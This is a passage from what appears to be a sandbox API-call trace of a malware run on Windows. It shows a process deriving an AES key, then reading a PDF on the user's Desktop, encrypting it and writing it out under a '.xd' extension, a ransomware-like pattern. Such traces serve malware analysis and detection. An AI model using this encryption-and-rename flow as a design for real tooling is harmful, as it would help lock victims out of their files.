lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.720] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.720] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.720] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0079.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0079.720] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0079.720] CryptHashData (hHash=0x164c3f0, pbData=0x1629480, dwDataLen=0x3, dwFlags=0x1) returned 1 [0079.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.720] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.721] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.721] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.721] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.721] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0079.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621738, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0079.721] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0079.721] CryptDeriveKey (in: hProv=0x1631dd0, Algid=0x6610, hBaseData=0x164c3f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7b0) returned 1 [0079.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.721] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.721] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0079.721] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0079.721] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0079.722] CryptDestroyHash (hHash=0x164c3f0) returned 1 [0079.722] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.722] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\ac2pjibk1jf.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0079.722] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.722] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0079.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.722] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0079.722] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\ac2pjibk1jf.pdf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0079.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.724] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0079.724] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xde35, lpOverlapped=0x0) returned 1 [0079.726] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0079.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.728] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0079.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.729] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0079.729] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.729] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0079.729] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.729] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.729] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.729] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0079.729] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0079.729] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0079.730] CryptGetKeyParam (in: hKey=0x164c7b0, dwParam=0x7, pbData=0x1629490, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629490*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0079.730] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.730] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.730] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.730] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.730] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.730] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.731] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.731] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.731] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xde35, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xde40) returned 1 [0079.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.731] CharLowerBuffW (in: lpsz="byte[56897]", cchLength=0xb | out: lpsz="byte[56897]") returned 0xb [0079.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.732] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.732] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.733] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.733] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.733] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.733] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180a5e0*, pdwDataLen=0x130e618*=0xde35, dwBufLen=0xde40 | out: pbData=0x180a5e0*, pdwDataLen=0x130e618*=0xde40) returned 1 [0079.733] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.733] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.733] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.733] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.733] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.733] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.733] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.733] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.733] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.733] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.733] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.733] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.734] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.734] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.734] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.734] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.734] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.738] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.738] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.738] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.738] WriteFile (in: hFile=0x3c8, lpBuffer=0x17ee968*, nNumberOfBytesToWrite=0xde40, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ee968*, lpNumberOfBytesWritten=0x130f01c*=0xde40, lpOverlapped=0x0) returned 1 [0079.740] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.740] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.740] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0079.740] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.740] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.740] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0079.740] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16211e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0079.740] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0079.740] CryptDestroyKey (hKey=0x164c7b0) returned 1 [0079.740] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.740] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.740] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.740] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.740] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.740] PeekMessageW (in: lpMsg=0x130e994, 